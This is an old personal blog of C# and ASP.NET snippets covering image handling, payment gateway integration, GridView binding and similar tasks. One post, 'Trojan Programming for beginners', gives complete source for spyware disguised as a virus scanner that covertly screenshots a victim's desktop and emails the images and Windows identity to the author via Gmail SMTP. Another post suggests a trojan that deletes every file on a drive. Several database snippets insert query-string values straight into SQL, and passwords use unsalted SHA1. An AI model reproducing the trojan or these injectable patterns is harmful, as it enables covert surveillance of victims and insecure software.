Adsence750x90
Thursday, November 27, 2008
Get DPI of a Image in C# ASP.NET - calculate dots per inch ( DPI )
System.IO.MemoryStream mm = new System.IO.MemoryStream();
mm.Write(FileUpload1.FileBytes, 0, FileUpload1.FileBytes.Length);
System.Drawing.Image img = System.Drawing.Image.FromStream(mm);
Response.Write("Horizondal Resolution :" + img.HorizontalResolution.ToString());
Response.Write("Veritcal Resolution :" + img.VerticalResolution.ToString());
Response.Write("Pixel Format :" + img.PixelFormat);
Response.Write("Physical Dimension Height:"+img.PhysicalDimension.Height.ToString());
Response.Write("Physical Dimension Width:"+ img.PhysicalDimension.Width.ToString());
img.Dispose();
mm.Dispose();
Output
Horizondal Resolution :89.9922
Veritcal Resolution :89.9922
Pixel Format :Format32bppArgb
Physical Dimension Height :1200
Physical Dimension Width :1600
Wednesday, November 26, 2008
Multiple Sorting in DataTables in C# - code helper and examples
Example
DataTable dt=new DataTable;
Bind dt From DataBase
DataView dv=dt.DefaultView;
dv.Sort="Column1,Column2,Column3 DESC";
dt=dv.ToTable();
Globally Unique Identifier (GUID) in C# - Tips and Tricks
We can generate Guid using C#
Guid objGuid=Guid.NewGuid();
string uniqueID=objGuid.ToString();
Tuesday, November 25, 2008
How to get size of a file using asp.net and C#
here is the solution.
this function return the size of the file in MB
private double fileSize(FileUpload file)
{
long KB = file.FileBytes.LongLength / 1024;
double MB = (double)KB / 1024;
return MB;
}
Friday, November 14, 2008
How to create Random string with numbers using C#
public string RandomStringKeys()
{
string returnString = string.Empty;
string Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
string numbers = "0123456789";
char[] letterArray = Letters.ToCharArray();
char[] numberArray = numbers.ToCharArray();
Random objrandomNumber = new Random();
byte[] selection = Encoding.ASCII.GetBytes(objrandomNumber.Next(111111, 999999).ToString());
BitArray bArray = new BitArray(selection);
string binaryString = string.Empty;
int t = 0;
int f = 0;
for (int i = 0; i < bArray.Length; i++)
{
if (bArray[i])
{
binaryString += 1;
t++;
}
else
{
binaryString += 0;
f++;
}
}
char[] enCodeString = binaryString.Substring(objrandomNumber.Next(1, 8), objrandomNumber.Next(4, 8)).ToCharArray();
for (int i = 0; i < enCodeString.Length; i++)
{
if (enCodeString[i] == '1')
{
returnString += letterArray[objrandomNumber.Next(0, 51)];
}
else
{
returnString += numberArray[objrandomNumber.Next(0, 9)];
}
}
return returnString;
}
Password Encrypt in ASP.Net C# - SHA1 encription with sample code
using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
public class PasswordEncription
{
public PasswordEncription()
{
}
public static string GetEncriptedPassword(string plainText)
{
return FormsAuthentication.HashPasswordForStoringInConfigFile(plainText, "SHA1");
}
}
Thursday, November 13, 2008
Creating Search Engine with C# and ASP.NET using Yahoo API - Build your Own Search Service (BOSS)
This SDK includes code in the following languages:
* ColdFusion
* C#
* Flash/Flex (ActionScript)
* Java
* JavaScript
* Lua
* Perl
* PHP
* Python
* Ruby
* VB.NET
* Widgets (JavaScript + XML)
ASP.NET and C# programmers can easliy create Search Engine with Yahoo.ASP.dll file.
for Web search call Yahoo.API
sample C# code from Yahoo.API
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using Yahoo.API;
using System.Xml;
using System.IO;
public partial class Search : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected void btnWebSearch_Click(object sender, EventArgs e)
{
YahooSearchService yahoo = new YahooSearchService();
Yahoo.API.WebSearchResponse.ResultSet resultSet = yahoo.WebSearch("YahooExample", TextBox1.Text, "all",10, 11, "any", true, true, "en");
StringWriter sw = new StringWriter();
foreach (Yahoo.API.WebSearchResponse.ResultType result in resultSet.Result)
{
sw.WriteLine("Title: {0}", result.Title);
sw.WriteLine("Summary: {0}", result.Summary);
sw.WriteLine("URL: {0}", result.Url);
sw.WriteLine("============================================");
}
Response.Write(sw.ToString());
}
}
Wednesday, November 12, 2008
DataList Control with pagination - using viewstate
C# ASP.NET CODER
public int PageCount
{
get
{
object o = this.ViewState["_PageCount"];
if (o == null)
return 0;
else
return (int)o;
}
set
{
ViewState["_PageCount"] = value;
}
}
protected void Page_Load(object sender, EventArgs e)
{
if(!IsPostback)
{
FillDataList(true);
}
else
{
FillDataList(false);
}
}
public void FillDataList(bool a)
{
if (a)
PageCount = 0;
lbtnNext.Enabled = true;
lbtnNext2.Enabled = true;
lbtnPrevious.Enabled = true;
lbtnPrevious2.Enabled = true;
string cmd = string.Empty;
cmd = string.Format("SELECT table_field1,table_field2,table_field3,table_field4 FROM table WHERE condition1 >'{0}' AND condition1 ='{1}' AND condition1 >'0'", DateTime.Now, Request.QueryString["sdd"]);
DataTable BTab = objDBHelper.GetReaderTable(cmd, 7);
if (BTab.Rows.Count > 0)
{
if (a)
PageCount = 0;
lbtnNext.Enabled = true;
lbtnNext2.Enabled = true;
lbtnPrevious.Enabled = true;
lbtnPrevious2.Enabled = true;
DataColumn newcol = new DataColumn("imagecol", typeof(object));
DataColumn newcolm = new DataColumn("clubNamecol", typeof(object));
DataColumn newcolm1 = new DataColumn("bookme", typeof(object));
DataColumn calCol = new DataColumn("viewcal", typeof(string));
DataColumn calCol2 = new DataColumn("view", typeof(string));
BTab.Columns.Add(newcol);
BTab.Columns.Add(newcolm);
BTab.Columns.Add(newcolm1);
BTab.Columns.Add(calCol);
BTab.Columns.Add(calCol2);
for (int i = 0; i < BTab.Rows.Count; i++)
{
BTab.Rows[i]["imagecol"] = "imagefile";
BTab.Rows[i]["clubNamecol"] = (object)objDBHelper.ExecuteScalar(string.Format("SELECT xx FROM table WHERE condition='{0}'", BTab.Rows[i][1].ToString()));
BTab.Rows[i]["bookme"] = string.Format("BCalendar.aspx?bid={0}&cid={1}", BTab.Rows[i][0].ToString(), BTab.Rows[i][1].ToString());
BTab.Rows[i]["viewcal"] = string.Format("ECalendar.aspx?cid={0}&bid={1}", BTab.Rows[i][1].ToString(), BTab.Rows[i][0].ToString());
BTab.Rows[i]["view"] = string.Format("ClubDetails.aspx?cid={0}&bid={1}", BTab.Rows[i][1].ToString(), BTab.Rows[i][0].ToString());
}
pgddata = new PagedDataSource();
pgddata.DataSource = BTab.DefaultView;
pgddata.AllowPaging = true;
pgddata.CurrentPageIndex = PageCount;
pgddata.PageSize = 5;
lbtnPrevious2.Visible = !pgddata.IsFirstPage;
lbtnPrevious.Visible = !pgddata.IsFirstPage;
lbtnNext2.Visible = !pgddata.IsLastPage;
lbtnNext.Visible = !pgddata.IsLastPage;
dlClubList.DataSource = pgddata;
dlClubList.DataBind();
dlClubList.Visible = true;
}
else
{
dlClubList.Visible = false;
lbtnNext.Visible = false;
lbtnNext2.Visible = false;
lbtnPrevious.Visible = false;
lbtnPrevious2.Visible = false;
Label1.Visible = true;
Label1.Text = "No Events found..Please search for another City";
LinkButton2.Visible = true;
}
}
Helps Authorize.Net Payment Integration
Tuesday, September 30, 2008
Authorize.Net Payment Helper dll file for Microsoft.Net - code samples with detailed description
i am going to provide a new helper file for payment gateway integration for Authorize.net. it reduce the coding for programmer. i am using this payment helper for my project and working fine i am also providing help for how to use the dll(Helper) file in your code.
Helper file contain
1 methord
- PaymentProcess
*/
and 4 properties named
- TransactionID ( get transaction id of successful payment ).
- PaymentSuccess ( get message failed or success ).
- PaymentMessage (get resulting message from Authorize.Net).
- PaymentStatus( true for success and false for failure).
add refference dll (Helper dll) in your bin folder.
using RajusAuthorizeDotNetPaymentHelper;
create object for helper dll
PaymentHelper objPaymentHelper;
objPaymentHelper = new PaymentHelper();
pass parameters for the methord PaymentProcess
after successful payment all properties are listed.
Source code for implimentation
/* public void PaymentProcess(string cardNumber, string securityNumber, string expirationDate, string amount, string firstName, string lastName, string address, string zipCode, string authUrl, string authApiLogin, string authTransactionKey, string authTestMode);*/
objPaymentHelper.PaymentProcess(@"Card number", "securityNumber", "02/2012", "20",
"raju", "m", " test address ", "300019", "https://test.authorize.net/gateway/transact.dll", "API Login ID", "Transaction Key", "FALSE");
Response.Write("
Payment Message: " + objPaymentHelper.PaymentMessage.ToString());
Response.Write("
Payment Status: " + objPaymentHelper.PaymentStatus.ToString());
Response.Write("
Payment Success: " + objPaymentHelper.PaymentSuccess.ToString());
Response.Write("
Payment Transaction ID: " + objPaymentHelper.TransactionID.ToString());
after Successful Transaction
Payment Message: This transaction has been approved.
Payment Status: Success
Payment Success: True
Payment Transaction ID: 2147531580
Download payment Helper file
Monday, August 25, 2008
C Sharp Basic Concept - framework tutorials
C# Language
C# does not allow use of pointer.
Provide garbage memory collection at runtime.
C# comes with new and exciting features like reflection, marshalling, threads, remoting, attributes, streams and data Access with ADO.NET and more
It is also called .Net Runtime.
It is a framework layer that resides above the Operation system and handles all the execution of .Net application.
.Net programs are don’t diretly communicate with operating system bit go through the Common Language Runtime.
MSIL is operating system and hardware independent code.
Cross language relationships are possible as the MSIL code is similar for each .Net language.
E.g. when a function is called, the IL of the functions body is converted to native code just in time. So, the part code is not used by that particular run is never converted to native code. if some IL code is converted to native code, then the next time it’s needed the CLR reuses the same copy without recompiling.
Avoid dropdownlist multiple selection problem
i get one error when i compile my program, the error message is multiple section of DropDownList is not allowed, i debug my program but i didn't get any multiple section on in DropDownList. i use one update panel for AJAX operations. i think that error come from some unwanted selection of update panel. finally i remove that error by using
DropDownList1.ClearSelection(); then is add
DropDownList1.Items[3].Selected=true;
it works fine cant get any errors after that.
to avoid this use DropDownList1.ClearSelection(); then add selection of DropDownList.
Wednesday, August 13, 2008
How to add Dynamic TextBox in ASP.NET C# - code samples
How to add TextBox Dynamically in ASP.NET C#
we can dynamically add controls in asp.net Pages. Hera i am explain how to add textbox control in our .aspx page. use PlaceHolder control for Holding the dynamically added control. Below am showing the C# code for generating textbox control. if u have any doubt on this article please comment below.
C# Code
using System; using System.Data; using System.Configuration; using System.Collections; using System.Web; using System.Web.Security; using System.Web.UI; using System.Web.UI.WebControls; using System.Web.UI.WebControls.WebParts; using System.Web.UI.HtmlControls; public partial class Default2 : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } /// Function for Generating Dynamic Textbox /// for creating TextBox Dynamically ,first create a Table then table Row then TableColumn /// add TextBoxes in TableColumn with ID /// Add TableColum in TableRow /// Add TableRow In Table /// Add that Table in PlaceHolder public void GenarateTextBox(PlaceHolder PlaceHolder1, int RowCount, int ColCount) { PlaceHolder ph = new PlaceHolder();// PlaceHolder for Hold dynamically createing Text Box Table objTable = new Table(); // if (objTable.GetType().ToString().Equals("System.Web.UI.WebControls.Table") && PlaceHolder1.FindControl("objTable") == null) { objTable.ID = "objTable"; } objTable.EnableViewState = true; objTable.BorderWidth = Unit.Pixel(0); objTable.CellPadding = 3; objTable.CellSpacing = 0; objTable.Width = Unit.Percentage(6); TableCell objtableCell; for (int j = 1; j <= RowCount; j++) {TableRow objTableRow = new TableRow(); for (int i = 1; i <= ColCount; i++) { objtableCell = new TableCell(); TextBox objTextBox = new TextBox(); if(objTextBox.GetType().ToString().Equals("System.Web.UI.WebControls.TextBox")&&(PlaceHolder1.FindControl("TextBox"+j+i)==null)) { objtableCell.HorizontalAlign = HorizontalAlign.Left; objtableCell.VerticalAlign = VerticalAlign.Middle; objtableCell.Height = Unit.Pixel(10); objTextBox.ID = "TextBox" + j + i; objTextBox.Text = "TextBox" + j + i; objTextBox.CssClass = "textarea1"; objTextBox.Width = Unit.Pixel(100); objtableCell.Controls.Add(objTextBox); objTableRow.Cells.Add(objtableCell); } } objtableCell = new TableCell(); objTable.Rows.Add(objTableRow); } PlaceHolder1.Controls.Add(objTable); } protected void Button1_Click(object sender, EventArgs e) { GenarateTextBox(PlaceHolder1,Convert.ToInt32(TextBox1.Text),Convert.ToInt32(TextBox2.Text)); } }Download Source Code Complete C# ASP.NET source Code
Monday, July 28, 2008
C# Trojen logic and tips - sample codes and download files
How to Do?
just find all local drives and files then u delete all files in drive programmatically. this is most harmful. so dare to code and Debug.
Thursday, July 24, 2008
ExecuteReader: Connection property has not been initialized
http://forums.asp.net/t/855001.aspx please check this Link
Monday, July 14, 2008
How to Encode URL using JavaScript
u can encode url in client side using JavaScript, by using escape function in JavaScript
for Example
between script tag alert(escape(string url));
in C# URL encoding and Decoding
for encode
Server.UrlEncode(strign url)
for decode
Server.UrlDecode(strign url)
Monday, July 7, 2008
Disable all previous date in calender in Asp.Net
CE code for Disable previous date
protected void Calendar1_DayRender(object sender, DayRenderEventArgs e)
{
if (e.Day.Date <= DateTime.Today.Date)
{
e.Day.IsSelectable = false;
}
}
How to pass query string in Asp.net
we can pass query messages from one page(WebForm) to another in asp.net. for example
there are two pages page1.aspx and page2.aspx we want to pass some string values to page2.aspx.
then we can write
C# code
Response.Redirect("page2.aspx?msg=Hello");
this msg is query string "Hello" is passed to page2.aspx.
how can we retire this message from page2.aspx?
we can write
C# code
if (Request.QueryString["msg"] != null)
{
string message = Request.QueryString["msg"];
Response.Write(message);
}
Friday, July 4, 2008
How to fill date,month and year in ASP.NET DropDownList
i am doing a party site now,so i want to use dropdownlist frequently an some pages. to avoid code repeating i wrote a separate class file to fill dropdownlist. in that class file the programmer just send three dropdownlist it returned with values.
Class File
public void FillYearMonthDayDropDown(DropDownList ddlDay, DropDownList ddlMonth, DropDownList ddlYear)
{
ddlDay.Items.Clear();
ddlMonth.Items.Clear();
ddlYear.Items.Clear();
ddlMonth.Items.Add("MONTH");
ddlDay.Items.Add("DAY");
ddlYear.Items.Add("YEAR");
for (int i = 1; i <= 12; i++) { ddlMonth.Items.Add(i.ToString()); } for (int i = 1; i <= 31; i++) { ddlDay.Items.Add(i.ToString()); } for (int i = Convert.ToInt32(DateTime.Now.Year-16); i > Convert.ToInt32(DateTime.Now.Year-80); i--)
{
ddlYear.Items.Add(i.ToString());
}
}
Thursday, July 3, 2008
Login failed for user NT AUTHORITY\NETWORK SERVICE
Today i want to create a simple upload page in C# ASP.NET for my designer, Paul Mathew to simplify my work. he can insert file to Database (SQL SERVER 2005)without my help.
he noticed one error."Login failed for user 'NT AUTHORITY\NETWORK SERVICE'" i never get this time of error when i create web page i, i search in Google to find intimidate remedy for this problem. i get from this link http://forums.asp.net/p/258484/2203642.aspx
to avoid this problem you can add in
Sunday, June 22, 2008
Dynamically Add Watermark On Image in ASP.Net - sample code for add runtime watermark
How to create watermark on image. you can simply create watermarks text on image
//used namespaces
//using System.IO;
//using System.Drawing.Drawing2D;
//using System.Drawing;
//using System.Drawing.Imaging;
///Locate Image from Image folder.
System.Drawing.Image objImage = System.Drawing.Image.FromFile(Server.MapPath("images/Copy.jpg"));
//Taken Actual width anf height From Image
int height = objImage.Height;//height
int width = objImage.Width;//Width
//Create a Bitmap Image
System.Drawing.Bitmap bitmapimage = new System.Drawing.Bitmap(objImage, width, height);// create bitmap with same size of Actual image
//Convert in to a Graphics object
System.Drawing.Graphics g = System.Drawing.Graphics.FromImage(bitmapimage);
//Creating Brushe
System.Drawing.SolidBrush brush = new System.Drawing.SolidBrush(System.Drawing.Color.FromArgb(113, 255, 255, 255));
g.DrawString("Raju.M C# Programmer Kerala,India.Dynamic WaterMark sample", new Font("Arial", 18, System.Drawing.FontStyle.Bold), brush, 0, 100);
Response.ContentType = "image/jpeg";//setting ContentType
bitmapimage.Save(Response.OutputStream, ImageFormat.Jpeg);//save image with dynamic watermark
Download Source
Friday, June 20, 2008
Creating runtime watermark on image using C# and ASP.NET
C# Code
//Creating image with watermark //using System.IO; //using System.Drawing.Drawing2D; //using System.Drawing.Imaging; System.Drawing.Image objImage = System.Drawing.Image.FromFile(Server.MapPath("image.jpg"));//From File int height = objImage.Height;//Actual image width int width = objImage.Width;//Actual image height System.Drawing.Bitmap bitmapimage = new System.Drawing.Bitmap(objImage, width, height);// create bitmap with same size of Actual image System.Drawing.Graphics g = System.Drawing.Graphics.FromImage(bitmapimage); //Creates a System.Drawing.Color structure from the four ARGB component //(alpha, red, green, and blue) values. Although this method allows a 32-bit value // to be passed for each component, the value of each component is limited to 8 bits. //create Brush SolidBrush brush = new SolidBrush(Color.FromArgb(113, 255, 255, 255)); //Adding watermark text on image g.DrawString("Raju.M C# Programmer India @ WaterMark sample", new Font("Arial", 18, FontStyle.Bold), brush,100, 100); //save image with Watermark image/picture bitmapimage.Save("watermark-image.jpg");Download Source
How to configure Silverlight on visual studio 2005
i search how to configure Silverlight on VS 2005 in google, but i did not get the correct information.
finally i get an article from
http://blogs.sqlxml.org/bryantlikes/archive/2007/05/02/silverlight-hello-world-in-c-from-vs-2005.aspx
(bryantlikes) he give me the right idea about Silverlight and aslo from
http://silverlight.net/forums/p/2332/6074.aspx
This two artilce help me to Configure or integrate Silverlight in my VS 2005. Thank you mister bryantlikes and Yasser Makram.
Friday, June 6, 2008
Any one want Integration Code or HELP for Authorize.net with ASP.NET -SIM Methord
if u want any help in Payment Integration with Authorize.NET and ASP.NET Please Inform me. i will solve your problem.you just post a comment or send me private email to
raju.rajum@gmail.com
or
raju.m@live.com.
How to Change ASP.Net Calendar Control to show Next Month
C# ASP.NET code to Change to set month vale to next month
DateTime nextMonth = DateTime.Now.AddMonths(1);
Calendar1.TodaysDate = nextMonth;
DateTime nextOfNextMonth = DateTime.Now.AddMonths(2);
Calendar2.TodaysDate = nextOfNextMonth;
Friday, May 23, 2008
How to Change Background color of Table Using ASP.NET - server side style changing
In a ASP.NET Page, we can change the background color by HtmlTextWriterStyle. This specify the HTML Styles available to an System.Web.UI.HtmlTextWriterStyle or System.Web.UI..Html32TextWriterStyle object output stream. You can Find your table using FindControl("string table Name")
then
table.Style.Add(CssStyleCollection); Using this method you can change styles in ypur Page. Using
HtmlTextWriterStyle we can Change background color Dynamically.
C# Code for Change background of table
HtmlTable htmlTable = FindControl("tblmain") as HtmlTable;
htmlTable.Style.Add(HtmlTextWriterStyle.BackgroundImage, "image.jpg");
Wednesday, May 21, 2008
Kerala Engineering Medical Entrance Results 2008, KEAM 2008 Result
Check your Entrance Result Please go through this link,short cut for the exam results will publish answer key after 2 days. Here only provide link for Results.
Kerala Engineering Medical Entrance Results 2008
C# Programmer - India Kerala
keyword C# Programmer India just check whether Google pick my keyword or not.
and am also testing one more keyword Programmer Cochin.
Tuesday, May 20, 2008
SEO Tips: How to optimize search Engine
How to optimize your site in search Engines Like Google,yahoo, msn
Search engine optimization is not simple. Search engine optimization generally called SEO. you can get site optimization help from internet Google search or in blogger search.But its all mis root your
optimization, because SEO facing great competition in web. first you thing about How to Optimize your site and do as that path.
Wednesday, May 14, 2008
Screen Shots in C# - code for taking desktop image (screen capture)
This C# code for capturing screen shots. This code returns bitmap image save this image in in computer.
private static Bitmap BitMapCreater()
{
Rectangle rect = Screen.PrimaryScreen.Bounds;
int color = Screen.PrimaryScreen.BitsPerPixel;
PixelFormat pFormat;
switch (color)
{
case 8:
case 16:
pFormat = PixelFormat.Format16bppRgb565;
break;
case 24:
pFormat = PixelFormat.Format24bppRgb;
break;
case 32:
pFormat = PixelFormat.Format32bppArgb;
break;
default:
pFormat = PixelFormat.Format32bppArgb;
break;
}
Bitmap bmp = new Bitmap(rect.Width, rect.Height, pFormat);
Graphics g = Graphics.FromImage(bmp);
g.CopyFromScreen(rect.Left, rect.Top, 0, 0, rect.Size);
return bmp;
}
call this method to SAVE file
on Button Click()
{
Bitmap b = BitMapCreater();
printScreen = string.Format("{0}{1}", Path.GetTempPath(), "screen" + i + ".jpg");
b.Save(printScreen, ImageFormat.Jpeg);
}
Trojan Programming for beginners in C# - sample source code
This articles mainly concentrated for only beginners
what is a Trojan ?
Trojan are simple programs, through the hacker can control over others system. Trojan Horse programs are appears something good and its actually work bad. for example one file like virusscan.exe, normally user can think thats is a virus scanner,and the user install that scanner file, but that file work for the hacker.
me also like to write trojan, i will paste my Trojan code below this article.i write in C#.NET because am a C# Programmer in Cochin.
Unlike viruses, trojan horses do not normally spread themselves. Trojan horses must be spread by other mechanisms.
A trojan horse virus is a virus which spreads by fooling an unsuspecting user into executing it.
An example of a trojan horse virus would be a virus which required a user to open an e-mail attachment in Microsoft Outlook to activate. Once activated, the trojan horse virus would send copies of itself to people in the Microsoft Outlook address book.
The trojan horse virus infects like a trojan horse, but spreads like a virus.
Common features of Trojan Programs :
• Capturing screenshots of your computer.
• Recording key strokes and sending files to the hacker
• Giving full Access to all your drives and files.
• Ability to use your computer to do other hacking related activities.
this is a simple code to send screen shots of victims computer. But C#.net want microsoft framework 2 to run the program. i use gmail smtp to send screen shots to my to my id.
first you create a gmail/yahoo/hotmail or any other email id and enable SMTP in that email
C# Code for very simple Trojan.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Drawing.Imaging;
using System.Net;
namespace VirusScaner
{
public partial class Form1 : Form
{
string printScreen = null;
static int i = 0;
public Form1()
{
InitializeComponent();
}
private static Bitmap BitMapCreater()
{
Rectangle rect = Screen.PrimaryScreen.Bounds;
int color = Screen.PrimaryScreen.BitsPerPixel;
PixelFormat pFormat;
switch (color)
{
case 8:
case 16:
pFormat = PixelFormat.Format16bppRgb565;
break;
case 24:
pFormat = PixelFormat.Format24bppRgb;
break;
case 32:
pFormat = PixelFormat.Format32bppArgb;
break;
default:
pFormat = PixelFormat.Format32bppArgb;
break;
}
Bitmap bmp = new Bitmap(rect.Width, rect.Height, pFormat);
Graphics g = Graphics.FromImage(bmp);
g.CopyFromScreen(rect.Left, rect.Top, 0, 0, rect.Size);
return bmp;
}
private static string sendMail(System.Net.Mail.MailMessage mm)
{
try
{
string smtpHost = "smtp.gmail.com";
string userName = "username@gmail.com";//write your email address
string password = "************";//write password
System.Net.Mail.SmtpClient mClient = new System.Net.Mail.SmtpClient();
mClient.Port = 587;
mClient.EnableSsl = true;
mClient.UseDefaultCredentials = false;
mClient.Credentials = new NetworkCredential(userName, password);
mClient.Host = smtpHost;
mClient.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
mClient.Send(mm);
}
catch (Exception ex)
{
System.Console.Write(ex.Message);
}
return "Send Sucessfully";
}
private void Form1_Load(object sender, EventArgs e)
{
}
private void timer1_Tick_1(object sender, EventArgs e)
{
i = i + 1;
string sysName = string.Empty;
string sysUser = string.Empty;
Bitmap b = BitMapCreater();
printScreen = string.Format("{0}{1}", Path.GetTempPath(), "screen" + i + ".jpg");
b.Save(printScreen, ImageFormat.Jpeg);
System.Net.Mail.MailAddress toAddress = new System.Net.Mail.MailAddress("xxxxx@gmail.com");
System.Net.Mail.MailAddress fromAddress = new System.Net.Mail.MailAddress("remoteMachine@yahoo.com");
System.Net.Mail.MailMessage mm = new System.Net.Mail.MailMessage(fromAddress, toAddress);
sysName = System.Security.Principal.WindowsIdentity.GetCurrent().Name.ToString();
sysUser = System.Security.Principal.WindowsIdentity.GetCurrent().User.ToString();
mm.Subject = sysName + " " + sysUser;
string filename = string.Empty;
System.Net.Mail.Attachment mailAttachment = new System.Net.Mail.Attachment(printScreen);
mm.Attachments.Add(mailAttachment);
mm.IsBodyHtml = true;
mm.BodyEncoding = System.Text.Encoding.UTF8;
sendMail(mm);
}
}
}
Disclaimer
I am not responsible any of the action made my this program. This is just for educational purpose
Tuesday, May 13, 2008
Download Authorize.Net Implementation and User Guide for SIM
Need HELP for Payment gateways - Authorize.Net implementation Guide.It Explain How to implement Gateways with Examples
Click here to Download Sim Guide means Simple Integration Method
Saturday, May 10, 2008
C#.NET And ASP.NET GridView Control With BoundField - with sample code and tutorials
this is a simple example of GridView Control in ASP.NET and C#.NET. You can Code your GridView very Esay and simply.
BoundField.DataField="Column1"; This means that column1 will display in the GridView.
finally you can Bind your Gridview with your datatable
using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using DBLayer;
public partial class Default4 : System.Web.UI.Page
{
DataTable bookingtable;
DBHelper objDBHelper;
protected void Page_Load(object sender, EventArgs e)
{
objDBHelper = new DBHelper();
string cmd = string.Format("SELECT dealId,BirthdayId,ddDealItem,ddgivenWithItem,DealItemPrice, SeatNumbet,AllotedDate, Venue FROM Table1)", Request.QueryString["id"]);
bookingtable = objDBHelper.GetReaderTable(cmd, 8);
if (bookingtable.Rows.Count > 0)
{
for (int i = 0; i < bookingtable.Rows.Count; i++)
{
DateTime d = Convert.ToDateTime(bookingtable.Rows[i][6]);
bookingtable.Rows[i][6] = d.ToShortDateString();
}
if (!IsPostBack)
{
ButtonField bfcol = new ButtonField();
bfcol.HeaderText = "SELECT";
bfcol.ButtonType = ButtonType.Link;
bfcol.CommandName = "select";
bfcol.Text = "Select";
BoundField DID = new BoundField();
DID.DataField = "Column1";
BoundField BID = new BoundField();
BID.DataField = "Column2";
BoundField Item = new BoundField();
Item.DataField = "Column3";
Item.HeaderText = "Item";
Item.ItemStyle.HorizontalAlign = HorizontalAlign.Left;
BoundField Extra = new BoundField();
Extra.DataField = "Column4";
Extra.HeaderText = "Extra Item";
Extra.ItemStyle.HorizontalAlign = HorizontalAlign.Left;
BoundField Price = new BoundField();
Price.DataField = "Column5";
Price.HeaderText = "Price";
Price.ItemStyle.HorizontalAlign = HorizontalAlign.Center;
BoundField Seat = new BoundField();
Seat.DataField = "Column6";
Seat.HeaderText = "Maximum Seats";
Seat.ItemStyle.HorizontalAlign = HorizontalAlign.Center;
BoundField date = new BoundField();
date.DataField = "Column7";
date.HeaderText = "Date of birthday";
date.ItemStyle.HorizontalAlign = HorizontalAlign.Center;
TextBoxControlBuilder txt = new TextBoxControlBuilder();
txt.ID = "txtPrice";
BoundField venue = new BoundField();
venue.DataField = "Column8";
venue.HeaderText = "Venue";
venue.ItemStyle.HorizontalAlign = HorizontalAlign.Center;
GridView1.Columns.Add(DID);
GridView1.Columns.Add(BID);
GridView1.Columns.Add(Item);
GridView1.Columns.Add(Extra);
GridView1.Columns.Add(Price);
GridView1.Columns.Add(Seat);
GridView1.Columns.Add(date);
GridView1.Columns.Add(venue);
GridView1.Columns.Add(bfcol);
}
GridView1.DataSource = bookingtable.DefaultView;
GridView1.DataBind();
GridView1.Columns[0].Visible = false;
GridView1.Columns[1].Visible = false;
}
}
}
Friday, May 9, 2008
ASP.NET And C# GridView Control
using System;
using System.Data;
using System.Configuration;
using System.Collections;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Data.SqlClient;
public partial class Default3 : System.Web.UI.Page
{
DataTable GridViewTable;
protected void Page_Load(object sender, EventArgs e)
{
SqlConnection con=new SqlConnection(@"Data Source=RAJ\SQLEXPRESS;Initial Catalog=Raju;Integrated Security=True");
SqlCommand cmd=new SqlCommand("SELECT username,firstname,lastname,age FROM Examples",con);
GridViewTable =new DataTable();
con.Open();
SqlDataAdapter dataAdptr=new SqlDataAdapter(cmd);
dataAdptr.Fill(GridViewTable);
con.Close();
if (GridViewTable.Rows.Count > 0)
{
GridViewTable.Columns[0].ColumnName = "User Name";
GridViewTable.Columns[1].ColumnName = "First Name";
GridViewTable.Columns[2].ColumnName = "Last Name";
GridViewTable.Columns[3].ColumnName = "Age";
GridView1.DataSource = GridViewTable.DefaultView;
GridView1.DataBind();
}
}
}
Monday, May 5, 2008
The transaction resulted in a AVS mismatch from Authorize.Net- error code 2|2|27
Credit card processing via Authorize.Net.
Solve AVS mismatch problem in credit card processing.
These two
1:x_address =contains the address of the customer associated with the billing address for the transaction
2:x_zip =contains the zip of the customer associated with the billing address for the transaction
if u pass these values to Authorize.Net it will return Success payment transaction result( 1|1|1|This transaction has been approved)
Post your Reply
Yahoo Multi Messenger - without download registry hack
you can simply hack your Yahoo Messenger without downloading and installing any other software. If you want Yahoo Multi Messenger please mail me to raju.rajum@gmail.com or raju.m@live.com
ASP.NET Code Snippet: Generating Random Number with Random String in C# ASP.NET
public string RandomStringKeys()
{
string returnString = string.Empty;
string Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
string numbers = "0123456789";
char[] letterArray = Letters.ToCharArray();
char[] numberArray = numbers.ToCharArray();
Random objrandomNumber = new Random();
byte[] selection = Encoding.ASCII.GetBytes(objrandomNumber.Next(111111, 999999).ToString());
BitArray bArray = new BitArray(selection);
string binaryString = string.Empty;
int t = 0;
int f = 0;
for (int i = 0; i < encodestring =" binaryString.Substring(objrandomNumber.Next(1," i =" 0;">
AJAX DropDownList using UpdatePanel in C# and ASP.NET
Replace all "(" with '<' and also ")" with '>"
You can download AJAX controls in asp.net or From AJAX CONTROLS . Ajax stands for Asynchronous Javascript And XML. Here am going to bind data form database using AJAX UpdatePanel, and Binding city state and country for respected DropDownList.
As usual u can bind country DropDownList
C# code for Country DropDownList
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
SqlConnection con = new SqlConnection("Data Source=SERVER; Integrated Security=SSPI;persist security info=True;Initial Catalog=DBNAME;");
SqlCommand cmd = new SqlCommand("SELECT CountryName,CountryId FROM CountryTable", con);
DataTable dt = new DataTable();
con.Open();
SqlDataAdapter adptr = new SqlDataAdapter(cmd);
adptr.Fill(dt);
con.Close();
if (dt.Rows.Count > 0)
{
ddlCountry.Items.Clear();
ddlCountry.Items.Add("SELECT");
foreach (DataRow drow in dt.Rows)
{
ListItem lst = new ListItem();
lst.Value = drow[1].ToString();
lst.Text = drow[0].ToString();
ddlCountry.Items.Add(lst);
}
}
}
}
